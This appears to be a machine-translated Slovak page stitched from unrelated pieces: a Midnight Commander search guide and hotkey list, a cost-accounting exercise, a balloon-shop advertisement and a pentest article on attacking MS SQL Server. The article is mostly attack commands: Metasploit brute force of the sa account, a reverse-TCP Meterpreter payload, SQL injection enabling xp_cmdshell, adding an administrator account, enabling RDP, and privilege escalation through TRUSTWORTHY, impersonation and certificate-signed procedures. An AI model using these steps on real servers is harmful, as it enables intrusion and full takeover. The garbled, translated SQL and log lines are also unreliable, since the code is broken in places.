Metódy a prostriedky hackovania databáz MS SQL. Balóny od "MF Poiska"

Pri použití hotového softvérové ​​produkty, Napríklad CMS Joomla, pomerne často sa musíte vysporiadať s tým, že sa vo výsledkoch programu objaví nejaké chybové hlásenie alebo varovanie, ale nie detailné informácie, kde sa tento kus kódu nachádza. V týchto prípadoch je najjednoduchším spôsobom vyhľadať súbor v Polnočný veliteľ riadkom. Pozrime sa, ako to urobiť.

Zvyčajne poznáte približné umiestnenie súboru s požadovaným fragmentom kódu. Preto v prvom rade poďme do adresára, v ktorom sa tento súbor môže nachádzať.

IN obsahové menu v poli" Začať o:» ( Z katalógu ) nechajme pointu: už sme v očakávanom adresári obsahujúcom súbor, ktorý hľadáme. Ale výberom možnosti " T ree" ( D strom), môžete vybrať iný adresár na vyhľadávanie.

Kontextové pole "Ena" b le ignorovať adresáre" ( A ignorovať adresáre) môžete nechať prázdne, ak nechcete vylúčiť z vyhľadávania žiadne známe adresáre, aby ste zúžili oblasť vyhľadávania.

V poli" Názov súboru» ( Šablóna názvu ) musíte zadať názov súboru alebo šablónu pre jeho názov. Šablóna používa ? pre akúkoľvek postavu resp * pre ľubovoľný počet ľubovoľných znakov. Ak nevieme nič o názve súboru alebo prípone, pokojne zadajte *.* .

Voliteľne vyberte:

  • « F ind rekurzívne" ( Nájsť re Komu ursívne)
  • « U spievať vzory mušlí“ ( M etashell postavy)
  • "Cas e citlivý" ( U dokonca sa zaregistrovať)
  • « A všetky znakové sady" ( IN Všetky kódovania)
  • "S k IP skrytá" ( Preskočiť skt s ty si e)

V poli" Obsah» ( Obsah ) zadajte riadok, ktorý bude musieť Midnight Commander nájsť vo všetkých súboroch, na ktoré narazí.

Voliteľne vyberte:

  • "More r ch pre obsah" ( Vyhľadávajte podľa obsahu a hádam) ← TÁTO MOŽNOSŤ JE VYŽADOVANÁ PRE VYHĽADÁVANIE STRÁNOK
  • "Re g ulárny výraz“ ( R regulárny výraz)
  • „Rozumy i tívne" ( Účtovníctvo pre re G istra)
  • "A l l znakové sady" ( slnko e kódovania)
  • « W dierové slová" ( S celý úlovok)
  • „Jedľa s t hit" ( Až do prvého v X narodenia)

Spustite vyhľadávanie " O k" ( D alshe), prestaňte s " C ansel" ( P roztrhať).

Po prebehnutí všetkých súborov ich program zobrazí ako zoznam adresárov, v ktorých sú súbory so zhodami + samotné súbory s číslami riadkov, v ktorých sa našli zhody s hľadanou frázou.

Vo všeobecnosti je to mega-pohodlný program pri hľadaní niečoho, čo poznáte, ale neviete, kde presne hľadať. :)

Tabuľka ukazuje závislosť celkových nákladov podniku od produkcie produktu. Vypočítajte náklady: fixné, variabilné, priemerné celkové, priemerné fixné, priemerné variabilné. V tabuľke vyplňte stĺpce FC, VC, MC, ATC, AFC, AVC:

Celkové náklady, TC, rub.F.C.V.C.M.C.ATCAVCA.F.C.
0 60
1 130
2 180
3 230
4 300

Riešenie:

Nemenné ceny ( Nemenné ceny) sú tie náklady, ktoré nezávisia od objemu vyrobených produktov alebo služieb. Bez ohľadu na to, koľko firma vyrába, jej fixné náklady sa nemenia. Aj keď firma nevyrobila ani jednu jednotku produktu, vznikajú jej náklady, napríklad prenájom priestorov, poplatky za kúrenie, poplatky za úver atď.

FC pre akýkoľvek objem výstupu sa teda bude rovnať 60 rubľov.

Variabilné náklady ( Variabilné náklady) sú náklady, ktoré sa menia, keď sa mení objem vyrobených produktov alebo služieb. V súčte s fixnými nákladmi sa rovnajú hodnote celkových nákladov ( Celkové náklady):

TC = FC + VC.

Odtiaľ:

VC = TC - FC

VC(0) = 60 - 60 = 0,

VC(1) = 130 – 60 = 70,

VC(2) = 180 – 60 = 120,

VC(3) = 230 – 60 = 170,

VC(4) = 300 - 60 = 240.

Hraničné náklady ( Hraničné náklady) je zvýšenie nákladov spojených s výrobou ďalšej jednotky produktu.

MC = ΔTC / ΔQ

Pretože v tomto probléme je nárast výstupu vždy rovný 1, môžeme tento vzorec prepísať takto:

MC = ATC/1 = ATC

MC(1) = TC(1) - TC(0) = 130 - 60 = 70,

MC(2) = TC(2) - TC(1) = 180 - 130 = 50,

MC(3) = TC(3) - TC(2) = 230 - 180 = 50,

MC(4) = TC(4) - TC(3) = 300 - 230 = 70.

Priemerné celkové náklady ( Priemerné celkové náklady) sú náklady na výrobu jednej jednotky výstupu.

ATC = TC/Q

ATC(1) = TC(1) / 1 = 130 / 1 = 130,

ATC(2) = TC(2) / 2 = 180 / 2 = 90,

ATC(3) = TC(3) / 3 = 230 / 3 = 76,67,

ATC(4) = TC(4)/4 = 300/4 = 75.

Priemerné fixné náklady ( Priemerné fixné náklady) sú fixné náklady na jednotku výkonu.

AFC = FC/Q

AFC(1) = FC(1) / 1 = 60 / 1 = 60,

AFC(2) = FC(2) / 2 = 60 / 2 = 30,

AFC(3) = FC(3) / 3 = 60 / 3 = 20,

AFC(4) = FC(4)/4 = 60/4 = 15.

Priemerné variabilné náklady ( Priemerné variabilné náklady) sú variabilné náklady na výrobu jednej jednotky výstupu.

AVC = VC/Q

AVC(1) = VC(1) / 1 = 70 / 1 = 70,

AVC(2) = VC(2) / 2 = 120 / 2 = 60,

AVC(3) = VC(3) / 3 = 170 / 3 = 56,67,

AVC(4) = VC(4)/4 = 240/4 = 60.

Keď poznáme ATC a AFC, priemerné variabilné náklady možno nájsť aj ako rozdiel medzi priemernými celkovými a priemernými fixnými nákladmi:

AVC = ATC - AFC

Doplníme medzery v tabuľke:

Výstup za jednotku času, Q, ks.Celkové náklady, TC, rub.F.C.V.C.M.C.ATCAVCA.F.C.
0 60 60 0 - - - -
1 130 60 70 70 130 70 60
2 180 60 120 50 90 60 30
3 230 60 170 50 76,67 56,67 20
4 300 60 240 70 75 60 15

generál

Ctrl+x,j — Zobrazenie úloh na pozadí

Ctrl-X+A - aktuálny VFS (ftp atď.)

ESC+číslica – to isté ako F(číslica) (ESC+5 = F5)

F1-F12

F3 - Zobraziť súbor

F3 - (Počas úprav) Spustenie výberu textu. Opätovným stlačením F3 výber ukončíte

F4 - Úprava súboru

F5 - Kopírovať výber

F6 - Presunúť výber

F8 - Vymazanie výberu

Shift+F1 – otvorí ponuku rýchleho prechodu medzi bodmi pripojenia na ľavom paneli

Shift+F2 – otvorí ponuku rýchleho prechodu medzi bodmi pripojenia na pravom paneli

Shift+F5 - skopírujte súbor do rovnakého adresára

Shift+F6 - presun/premenovanie súboru do rovnakého adresára

Vyhľadávanie

ctrl-s - Rýchle vyhľadávanie súbor alebo adresár

alt-shift-? — Vyvolá ponuku rozšíreného vyhľadávania súborov

Príkazový riadok

ctrl-a — kurzor na začiatok

ctrl-e - kurzor na koniec

esc-! — vykonať príkaz s parametrami

ctrl-x, p alebo alt+a - vložiť názov adresára

esc, enter; ctrl-enter - odošle aktuálny objekt na príkazový riadok

ctrl-x,t — Prilepte všetky vybraté objekty do príkazového riadku

esc, tab - pridanie príkazu

alt-a - vloží aktuálny adresár do príkazového riadku

Alt-TAB (ESC+TAB) - Najúžasnejšia kombinácia na vyhľadávanie stiahnutých súborov (napríklad ste zabudli, ako sa to správne píše: netcfg alebo netconfig. Stačí do príkazového riadku napísať net a stlačiť Alt-TAB - okamžite sa zobrazia vy, čo môžete spustiť, čo začína slovami net) stlačte dvakrát!
alt-shift-! — výstup výsledku príkazu
ctrl-shift-v - vložiť zo schránky

Operácie so súbormi

Shift+F4 – vytvorí nový súbor

shift-f6 - premenovanie súboru

Ctrl+x,i — Rýchle zobrazenie informácie o aktuálnom objekte v druhom paneli

Ctrl+x,q – Rýchle zobrazenie obsahu súboru na druhom paneli

alt-. - zobraziť skryté súbory

ctrl-x, c - povolenia súboru

ctrl-x, o - vlastník súboru

Shift-F3 - zobrazenie súboru (surový/bez prípony)

Ctrl + x v - vytvorenie relatívneho symbolického odkazu

trl+x,Ctrl+s — Upraviť symbolický odkaz

ctrl-t — označte súbor alebo zrušte jeho začiarknutie

+ — vyberte (označte) skupinu súborov regulárnym výrazom

\ - zrušte začiarknutie skupiny súborov

ctrl-x, ctrl-d - porovnanie súborov

ctrl-t alebo Insert — Vyberte aktuálny objekt

Práca s katalógmi

alt-o — otvorenie adresára pod kurzorom v susednom paneli

alt-i — otvorenie aktuálneho adresára v susednom paneli

ctrl-\ - zobraziť “Adresár adresára”

alt-shift-h — Zobrazenie histórie adresára

Ctrl+l - Prekreslenie obrazovky

Ctrl+medzerník – zobrazí veľkosť aktuálneho adresára

Ctrl-X+D - porovnanie adresárov

ESC+C - rýchla zmena adresára

alt-c - okno „Rýchla zmena adresára“.

Práca s panelmi

Ctrl-O - vypnite panely a pozrite sa, čo je pod nimi (funguje LEN v Linuxe!) Tu môžete pracovať aj v prostredí shell.

alt-, — Režim zobrazenia panela prepínania (vertikálny/horizontálny)

alt-t prepína režim podrobného zobrazenia panela

Meta+c - Vyvolá menu pre rýchlu zmenu aktuálneho adresára na aktívnom paneli

ctrl-u - výmena panelov

alt-g - označí prvý súbor alebo adresár v zobrazenom zozname na paneli (v podstate ako kláves Home, posúva kurzor nahor)

alt-e — zmena kódovania panela

Ctrl + x i - prepne pasívny panel do režimu „Informácie“.

Ctrl + x q - prepne pasívny panel do režimu rýchleho zobrazenia

ctrl-x! — menu → „Kritérium panelovania“ (git)

Príbeh

alt+h; esc, h - história príkazového riadku

alt-p, alt-n - vráti predchádzajúci (nasledujúci) príkazový riadok (riadky)

alt-y. Presun do predchádzajúceho adresára z histórie navigácie v adresári; je ekvivalentné kliknutiu myšou na symbol ‘<‘ в верхнем углу панели.

alt-u. Presuňte sa do nasledujúceho adresára z histórie navigácie v adresári; je ekvivalentné kliknutiu myšou na symbol „>“.

Editor

F4 (v editore) - hľadať a nahradiť

F6 (v editore) - vyhľadávanie pomocou regulárneho výrazu

Shift-Del (v editore) - odstrániť blok (a vložiť ho do schránky)

Shift-Ins (v editore) - vloženie bloku z vyrovnávacej pamäte (funguje aj v inej konzole!!!) Môžete upravovať dva alebo viac súborov na rôznych konzolách a presúvať bloky medzi nimi.

Shift+F3 – Spustenie výberu bloku textu. Opätovným stlačením F3 výber ukončíte

Shift+F5 - Prilepiť text z internej schránky mc (čítať externý súbor)

Meta+i – Prepne režim „Automatické zarovnanie s návratom vozíka“, čo je praktické pri vkladaní formátovaného textu zo schránky

Meta+l — Prejdite na riadok podľa jeho čísla

Meta+q - Vložiť literál (netlačiaci znak Pozri). tabuľku nižšie

Meta+t — Zoradenie riadkov vybratého textu

Meta+u - Spustite externý príkaz a vložte jeho výstup na miesto pod kurzorom

Ctrl + f - Skopírujte vybraný fragment do internej schránky mc (zapíšte do externého súboru)

Ctrl+k - Odstránenie časti riadku až po koniec riadku

Ctrl+n - Vytvorenie nového súboru

Ctrl+s — Zapnutie alebo vypnutie zvýraznenia syntaxe

Ctrl+t — Vyberte kódovanie textu

Ctrl+u - Vrátiť akcie späť

Ctrl+x – prechod na koniec nasledujúceho

Ctrl + y - Odstrániť riadok

Ctrl+z – prechod na začiatok predchádzajúceho slova

Meta+Enter — Dialóg pre prechod na definíciu funkcie

Meta+- - Návrat po prechode na definíciu funkcie

Meta++ - Posun vpred k definícii funkcie

Meta+n — Zapnutie/vypnutie zobrazenia čísel riadkov

tab Presunie vybraný text doprava, ak je vypnutá možnosť „Trvalé bloky“.

Meta-záložka Presunie vybraný text doľava, ak je vypnutá možnosť "Trvalé bloky".

Shift+šípky Výber textu

Meta+šípky Vyberte vertikálny blok

Meta+Shift+ - Prepínanie režimu zobrazenia kariet a medzier

Meta+Shift++ Prepnutie režimu „Automatické zarovnanie návratom vozíka“.

Organizácia dovolenky je náročná úloha. Je toľko vecí, na ktoré treba myslieť a o ktoré sa treba starať. Spoločnosť MF Search zjednodušuje jednu z úloh - dekor. Nazbierali sme katalóg dovolenkového tovaru, ktorý obsahuje rôzne dekorácie izieb a drobnosti užitočné na oslavy.

Katalóg dovolenkového tovaru: tvorba nákupného zoznamu

Katalóg MF Search možno nazvať hotovým nákupným zoznamom. Má pohodlnú a detailnú štruktúru. Môžete si u nás zakúpiť:

  • Svadobné vybavenie. Stuhy, konfety, zámky, dekorácia do haly a auta a mnoho iného.
  • Všetko na karneval. V tejto sekcii nájdete doplnky potrebné na kostýmovú párty, novoročný karneval, Halloween, tematickú narodeninovú párty atď.
  • Jednorazový riad. Nie vždy je stôl prestretý porcelánom a keramikou. Napríklad na prestieranie detského stola alebo na oslavu narodenín v kancelárii je vhodnejšie použiť papierové taniere a poháre.
  • Párty hračky a mydlové bubliny. Aby sa deti na dovolenke nenudili, musíte sa o ich voľný čas postarať vopred. Aké skóre! Zozbierali sme všetko potrebné vybavenie, stačí, ak preň nájdete využitie.
  • Petardy a prskavky. Vďaka nim bude dovolenka jasná a nezabudnuteľná.
  • Sviečky. Ozdobte tortu, strávte romantický večer, urobte prekvapenie – na každú príležitosť existuje sada sviečok.

Balóny od "MF Poisk"

MF Poisk je najväčším dodávateľom balónov. Spolupracujeme s výrobcami z USA, Španielska a Mexika. Poskytujeme certifikáty kvality a poskytujeme najkompletnejší sortiment balónov, aby ste si mohli vytvoriť svoju vlastnú jedinečnú kompozíciu pre každú udalosť. Všetky balóny v našom katalógu je možné rozdeliť na latexové a fóliové.

  • latex. Môžu byť vybrané v závislosti od farby, veľkosti, tvaru, motívu. Predávame balóny so vzorom aj bez neho a poskytujeme aj službu aplikácie loga. Okrem klasických variantov ponúkame aj netradičné - vypichovacie gule, spojovacie gule, tvarované gule a na modelovanie.
  • Fólia. Je tiež z čoho vyberať: chodiace, veľké, mini a vo forme čísel. Pre uľahčenie výberu sme produkty zoradili podľa tém, môžete jednoducho prejsť do sekcie s produktmi na svadby, narodeniny, Silvestra a iné špeciálne udalosti.

Samostatne sme umiestnili príslušenstvo k loptičkám, napríklad palice alebo závažia. Dizajnérov zaujme sekcia s vybavením – héliové valce, čerpadlá, tlačiarenská farba.

Prečo by ste si mali vybrať MF Search?

  • Najväčší katalóg lôpt.
  • Certifikáty kvality sú verejne dostupné.
  • Minimálna suma objednávky je dostupná pre každého kupujúceho bez ohľadu na veľkosť akcie.
  • Všetky dovolenkové potreby na jednom mieste.
  • Veľkoobchodné zľavy.

Snažíme sa, aby bol váš pobyt na stránke pohodlný, preto sme ju vytvorili oddelené sekcie s novými produktmi, najpredávanejšími, ako aj oznámeniami „Už čoskoro“. S nami uvidíte, že zorganizovať párty je jednoduché!

Takmer žiadny seriózny pentest sa nezaobíde bez kontroly DBMS, pretože medzi útočníkmi ide o jedny z najpopulárnejších dverí k požadovaným informáciám a strojom. Vo veľkých projektoch sa MS často používa ako DBMS SQL Server. A dnes budeme hovoriť o kontrole jeho bezpečnosti. Ameriku neobjavíme - skúsení súdruhovia si len osviežia vedomosti, no pre tých, ktorí s témou len začínajú, som sa snažil všetko rozobrať bod po bode čo najpodrobnejšie.

POZOR!

Všetky informácie sú poskytované len na informačné účely. Autor ani redakcia nezodpovedajú za prípadné škody spôsobené materiálmi tohto článku.

Úvod

Jedno z najdôležitejších kritérií spoľahlivosti informačný systém- Zabezpečenie DBMS. Útoky naň zamerané sú vo väčšine prípadov kritické, pretože môžu čiastočne alebo úplne narušiť činnosť systému. Keďže veľké organizácie si svoju infraštruktúru vytvorili už dávno a aktualizácia na nové verzie softvéru im spôsobuje „veľké“ problémy, najbežnejšími verziami sú stále MS SQL Server 2005 a MS SQL Server 2008. Ale to sú len štatistiky a ďalej sa budeme zaoberať vektory a techniky spoločné pre všetky verzie. Pre pohodlie podmienečne rozdelíme celý proces pentestu do niekoľkých etáp.

Ako nájsť MS SQL

Prvá vec, ktorú pentester začne robiť, je zhromažďovať informácie o službách umiestnených na serveri obete. Najdôležitejšia vec, ktorú potrebujete vedieť pri hľadaní Microsoft SQL Server, sú čísla portov, na ktorých počúva. A počúva porty 1433 (TCP) a 1434 (UDP). Ak chcete skontrolovať, či sa na serveri obete nachádza MS SQL, musíte ho naskenovať. Na tento účel môžete použiť Nmap so skriptom ms-sql-info. Skenovanie sa spustí asi takto:

Nmap -p 1433 --script=ms-sql-info 192.168.18.128

Výsledok jeho vykonania je uvedený na obr. 1.

Okrem Nmap existuje vynikajúci skenovací modul pre Metasploit mssql_ping, ktorý tiež umožňuje určiť prítomnosť MS SQL na napadnutom serveri:

Msf> použite auxilary/scanner/mssql/mssql_ping msf auxilary(mssql_ping) > nastavte RHOSTS 192.167.1.87 RHOSTS => 192.168.1.87 msf auxilary(mssql_ping) >run_ping

Pomocou jednej z týchto možností môžete rýchlo zistiť, či je na serveri nainštalovaný MS SQL, a tiež zistiť jeho verziu. Potom môžete prejsť do ďalšej fázy.


Hrubou silou

Povedzme, že sme na serveri našli DBMS. Teraz je úlohou získať k nemu prístup. A tu stojíme pred prvou prekážkou v podobe autentifikácie. Vo všeobecnosti MS SQL podporuje dva typy autentifikácie:

  1. Windows Authentication je dôveryhodné pripojenie, v ktorom SQL Server akceptuje používateľské konto za predpokladu, že už bolo overené na operačný systém.
  2. Zmiešaný režim - autentifikácia pomocou SQL Server + Windows Authentication.

Štandardne sa používa prvý režim overenia a zmiešaný režim sa aktivuje samostatne. V praxi je dosť ťažké nájsť základňu bez zmiešaného režimu - je flexibilnejšia.

Niektoré výhody zmiešaného režimu

  • Umožňuje serveru SQL Server podporovať staršie aplikácie, ako aj aplikácie tretích strán, ktoré vyžadujú overenie servera SQL Server.
  • Umožňuje serveru SQL Server podporovať prostredia s viacerými operačnými systémami, v ktorých používatelia nie sú overení doménou Windows.
  • Umožňuje vývojárom softvér distribuujte svoje aplikácie pomocou komplexnej hierarchie oprávnení založenej na známych, preddefinovaných prihláseniach na SQL Server.

Zvyčajne zapnuté v tomto štádiu Nemáme prístup do firemnej siete, preto nemôžeme použiť autentifikáciu cez Windows. Ale našli sme otvorený port s MS SQL, čo znamená, že sa snažíme hrubou silou vynútiť účet správcu sa, ktorý je štandardom pre zmiešaný režim. Na automatizáciu procesu používame modul Metasploit mssql_login:

MSF> Použite Auxiliary/Scanner/MSSQL/MSSQL_Login MSF Auxiliary (MSSQL_Login)> Set Rhosts 172.16.2.104 RHOSTS => 172.16.2.104 MSF AUXILIARE (mssql_login)> Set pass_file /root/desktop/pass.txt [*] 6.2.104: 1433 - MSSQL - Spustenie autentifikačného skenera. [*] 172.16.2.104:1433 - PRIHLÁSENIE ZLYHALO: PRACOVNÁ STANICA\sa:admin (nesprávne:) [*] 172.16.2.104:1433 - PRIHLÁSENIE ZLYHALO: PRACOVNÁ STANICA\sa:qwerty (nesprávne:7123.06]14 - PRIHLÁSENIE ZLYHALO: WORKSTATION\sa:toor (nesprávne:) [+] 172.16.2.104:1433 - PRIHLÁSENIE ÚSPEŠNÉ: WORKSTATION\sa:root [*] Skenovaný 1 z 1 hostiteľov (100% dokončené) [*] Spustenie pomocného modulu dokončené

Skvelé! Heslo bolo nájdené, teraz môžeme prejsť na ďalší krok. Ale čo ak na serveri nie je žiadny účet SA? Potom budete musieť brutálne prihlásenie, pre ktoré budete musieť skriptu uviesť iný súbor, odkiaľ ich získať:

Msf pomocné (mssql_login) > nastaviť USER_FILE /root/Desktop/user.txt

Získanie škrupiny

Ak sa nám podarilo resetovať účet sa, môžeme sa prihlásiť do databázy. Ďalej je skript jednoduchý – povolíme uloženú procedúru, ktorá nám umožňuje vykonávať príkazy na úrovni operačného systému a nahrať shell Meterpreter na server. Super chlapci napísali vynikajúci modul pre Metasploit, mssql_payload, ktorý automatizuje tento proces:

Msf > použiť exploit/windows/mssql/mssql_payload msf exploit(mssql_payload) > nastaviť RHOST 172.16.2.104 msf exploit(mssql_payload) > nastaviť USERNAME na USERNAME => sa msf root exploit PPAASSMWASS využiť( mssql_payload) > nastaviť PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(mssql_payload) > nastaviť LHOST 172.16.2.105 LHOST => 172.16.02.1 /1022 46 bytes ) [*] Meterpreter session 1 otvorená (172.16.2.105:4444 -> 172.16.2.104:3987) 2015-02-20 10:42:52 -0500 meterpreter >

Relácia Meterpreter bola vytvorená, teraz ju máte plný prístup. Môžete vypísať hash správcu, robiť snímky obrazovky, vytvárať/odstraňovať súbory, povoliť/zakázať myš alebo klávesnicu a oveľa viac. Toto je možno najpopulárnejšia škrupina používaná pri penetračných testoch. Úplný zoznam Je možné vidieť príkazy merača.

Čo robiť, ak sa prihlasovacie meno/heslo neobnoví?

Ale nelichotte si, modul mssql_login vás veľmi často nepoteší: správcovia veľmi zriedka ponechávajú heslo ako predvolené. V tomto prípade nám SQL injection pomôže získať shell. Predstavte si HTML formulár, do ktorého používateľ zadá číslo článku a jednoduchý zraniteľný dotaz do databázy, všetko spustené pod účtom správcu SA:

$strSQL = "VYBERTE * Z . WHERE id=$id";

Premenná $id nie je žiadnym spôsobom filtrovaná, čo znamená, že môžete vykonať injekciu SQL, v ktorej bude vykonaná akákoľvek požiadavka pod účtom správcu SA. Aby ste mohli vykonávať príkazy na úrovni operačného systému, musíte povoliť uloženú procedúru xp_cmdshell, ktorá je štandardne vypnutá. Na jeho aktiváciu budeme musieť odoslať štyri žiadosti:

  1. EXEC sp_configure "zobraziť rozšírené možnosti",1;
  2. prekonfigurovať;
  3. 'exec sp_configure "xp_cmdshell",1;
  4. prekonfigurovať

Systémová uložená procedúra sp_configure vám umožňuje prezerať, dokumentovať, meniť a obnovovať konfiguráciu servera. Najjednoduchší spôsob prístupu k serveru je povoliť RDP cez register, vytvoriť používateľa s právami správcu a pripojiť sa.

Povoliť RDP:

10; reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Vytvoriť používateľa:

10; exec master.dbo.xp_cmdshell "net user root toor /ADD"

Poskytujeme práva:

10;exec master.dbo.xp_cmdshell "správcovia siete lokálnej skupiny root/pridať"

Zvýšenie privilégií. DÔVERYHODNÝ

V predchádzajúcom prípade sa požiadavka na databázu vyskytla v mene administrátora, a preto bolo také jednoduché vykonávať príkazy operačného systému. Ale čo ak máme zmenšený účet, ktorý nemá práva na povolenie xp_cmdshell? V tomto prípade nám pomôžu uložené procedúry a aktivovaná vlastnosť databázy TRUSTTWORTHY.

Ale začnime od úplného začiatku. Pre väčšiu prehľadnosť tohto vektora popíšem celú fázu vo fáze konfigurácie databázy a účtov. Tvoríme nová základňa YOLO: VYTVORIŤ DATABÁZU YOLO; . Vytvorte nového používateľa bob s heslom marley: CREATE LOGIN bob S HESLOM = "marley"; Používateľa boba priradíme ako vlastníka databázy YOLO:

USE YOLO ALTER LOGIN s default_database = ; VYTVORIŤ POUŽÍVATEĽA Z PRIHLÁSENIA ; EXEC sp_addrolemember , ;

Potom nastavíme vlastnosť TRUSTWORTHY, ktorá určuje, či povoliť objektom tejto databázy (pohľady, užívateľsky definované funkcie, uložené procedúry) pristupovať k objektom mimo tejto databázy v režime zosobnenia: ALTER DATABASE YOLO SET TRUSTWORTHY ON . Prihláste sa na SQL Server pomocou účtu bob:marley.

Vytvorte uloženú procedúru pre priradenie účtu oprávnenia bob sysadmin:

POUŽÍVAJTE POSTUP VYTVORENIA YOLO GO sp_lvlup S VYKONANÍM AKO VLASTNÍKA AKO EXEC sp_addsrvrolemember "bob","sysadmin" GO

Pred vykonaním uloženej procedúry sa uistite, že nemáme oprávnenia správcu systému:

SELECT is_srvrolemember("sysadmin") výsledok = 0

Vykonajte uloženú procedúru sp_lvlup vytvorenú vyššie:

POUŽÍVAJTE YOLO EXEC sp_lvlup

A znova sa pozrime na naše privilégiá:

SELECT is_srvrolemember("sysadmin") výsledok = 1

Procedúra sp_lvlup je navrhnutá na spustenie ako VLASTNÍK, čo je v tomto prípade účet správcu sa. Je to možné, pretože db_owner vytvoril uloženú procedúru pre svoju databázu a táto databáza je nakonfigurovaná ako dôveryhodná, to znamená, že vlastnosť TRUSTWORTHY je zapnutá . Bez tejto vlastnosti by postup zlyhal z dôvodu nedostatku privilégií. Aktivovaná DÔVERYHODNOSŤ nie je vždy zlá vec. Problémy začínajú, keď správcovia neznížia oprávnenia vlastníkov databáz. Výsledkom bolo, že po vykonaní procedúry sp_lvlup získal účet bob privilégiá správcu systému. Ak chcete zistiť, ktoré databázy majú povolenú vlastnosť DÔVERYHODNÉ, môžete použiť nasledujúci dotaz:

SELECT meno, database_id, is_trustworthy_on FROM sys.databases

Alebo na automatizáciu celého procesu môžete použiť modul mssql_escalate_dbowner_sqli pre Metasploit:

Použiť pomocný/admin/mssql/mssql_escalate_dbowner_sqli nastaviť rhost 172.16.2.104 nastaviť rport 80 nastaviť GET_PATH /login.asp?id=1+and+1=;-- exploit ... [+] 172.16.2.104:8 Success! Bob je teraz správcom systému!

Zvýšenie privilégií. Odcudzenie identity používateľa

Ďalší vektor sa nazýva odcudzenie identity používateľa. Uložené procedúry niekedy potrebujú prístup k externým zdrojom umiestneným mimo databázy aplikácie. Na dosiahnutie tohto cieľa vývojári používajú privilégium IMPERSONATE a funkciu EXECUTE AS, ktorá umožňuje vykonať požiadavku ako iný účet. Toto nie je zraniteľnosť ako taká, ale skôr slabá konfigurácia vedúca k eskalácii privilégií.

Rovnako ako v predchádzajúcom príklade začneme chápať podstatu vektora v štádiu konfigurácie. Najprv vytvoríme štyri účty:

VYTVORIŤ PRIHLÁSENIE Užívateľ1 S HESLOM = "tajné"; VYTVORIŤ PRIHLÁSENIE Užívateľ2 S HESLO = "tajné"; VYTVORIŤ PRIHLÁSENIE Užívateľ3 S HESLOM = "tajné"; VYTVORIŤ PRIHLÁSENIE User4 S HESLOM = "tajné";

Potom dáme používateľovi User1 oprávnenia na vykonávanie požiadaviek v mene sa , User2 , User3:

USE master; GRANT IMPERSONATE ON LOGIN::sa to ; GRANT IMPERSONATE ON LOGIN::MyUser2 to ; GRANT IMPERSONATE ON LOGIN::MyUser3 to ; Ísť

Prihláste sa na SQL Server pod účtom User1 a skontrolujte, či boli použité oprávnenia na vykonávanie dotazov z iných účtov.

SELECT odlišné b.name FROM sys.server_permissions a VNÚTORNÉ PRIPOJENIE sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = "IMPERSONATE"

Teraz skontrolujeme aktuálne privilégiá:

SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER("sysadmin") Výsledok = 0

No, teraz samotný trik - poďme vykonať požiadavku v mene sa, pretože vyššie sme udelili oprávnenia účtu User1 na vykonávanie požiadaviek v mene sa:

VYKONAŤ AKO LOGIN = "sa" SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER("sysadmin") Výsledok = 1

Všetko je v poriadku, teraz môžeme vykonávať príkazy ako sa , čo znamená, že môžeme povoliť uloženú procedúru xp_cmdshell:

EXEC sp_configure "zobraziť pokročilé možnosti",1 RECONFIGURE GO EXEC sp_configure "xp_cmdshell",1 RECONFIGURE GO

INFO

Predvolený účet správcu systému môže spúšťať dotazy v mene iných používateľov. Nasledujúci dotaz vám pomôže zobraziť tabuľku so všetkými používateľmi: SELECT * FROM master.sys.sysusers WHERE islogin = 1 . Ak chcete spustiť požiadavku v mene iného účtu, použite príkaz EXECUTE AS LOGIN = "AnyUser" . Ak sa chcete vrátiť k predchádzajúcemu účtu, stačí spustiť dotaz REVERT.

V tom je ten trik. Na automatizáciu, ako obvykle, môžete použiť modul Metasploit mssql_escalete_executeas_sqli:

Použite pomocný/admin/mssql/mssql_escalate_execute_as_sqliex set rhost 172.16.2.104 set rport 80 set GET_PATH /login.asp?id=1+and+1=;-- exploit ... [+] 172.4:80 - Success! Používateľ 1 je teraz správcom systému!

Zvýšenie privilégií. Uložené procedúry podpísané certifikátom

Na popis tohto vektora vytvoríme zraniteľnú uloženú procedúru podpísanú certifikátom. Na rozdiel od predchádzajúcich príkladov eskalácia privilégií nevyžaduje:

  • vlastnosť DÔVERYHODNÁ = Zapnuté ;
  • IMPERSONATE privilégiá a funkcia EXECUTE AS;
  • Konfigurácia uloženej procedúry s triedou WITH EXECUTE AS na jej vykonanie ako iné konto.

Vytvorte si účet s minimálnymi právami:

VYTVORIŤ PRIHLÁSENIE tor S HESLO = "loki"; GO -- Nastavenie predvolenej databázy prihlásenia ALTER LOGIN s default_database = ; Ísť

Vypneme vlastnosť TRUSTWORTHY: ALTER DATABASE master SET TRUSTWORTHY OFF . A vytvorte jednoduchú uloženú procedúru sp_xxx, ktorá zobrazí stĺpec názvu z databázy tempdb, ako aj z databázy zadanej používateľom:

USE MASTER; CHOĎTE NA POSTUP VYTVORENIA sp_xxx @DbName varchar(max) AKO ZAČIATOK Deklarujte @query ako varchar(max) SET @query = "VYBERTE názov Z master..sysdatabázy, kde názov ako ""%"+ @DbName+"%"" OR name=" "tempdb"""; EXECUTE(@query) KONIEC GO

Potom vytvoríme šifrovací kľúč pre MASTER databázu:

VYTVORIŤ ŠIFROVANIE HLAVNÉHO KĽÚČA PODĽA HESLA = "tajné"; Ísť

A certifikát:

CREATE CERTIFICATE sp_xxx_cert WITH SUBJECT = "Na podpísanie sp_xxx", EXPIRY_DATE = "2035-01-01"; Ísť

Ďalším krokom je vytvorenie prihlasovacieho mena z certifikátu sp_xxx:

VYTVORIŤ PRIHLÁSENIE sp_xxx_login Z CERTIFIKÁTU sp_xxx_cert

A podpíšte postup vytvoreným certifikátom:

PRIDAJTE PODPIS k sp_xxx PODĽA CERTIFIKÁTU sp_xxx_cert; Ísť

Priraďme prihlasovacie oprávnenia sp_lvlup2 sysadmin:

EXEC master..sp_addsrvrolemember @loginame = N"sp_xxx_login", @rolename = N"sysadmin" GO

Členom skupiny PUBLIC poskytujeme oprávnenia na vykonanie postupu:

GRANT EXECUTE ON sp_xxx pre VEREJNOSŤ

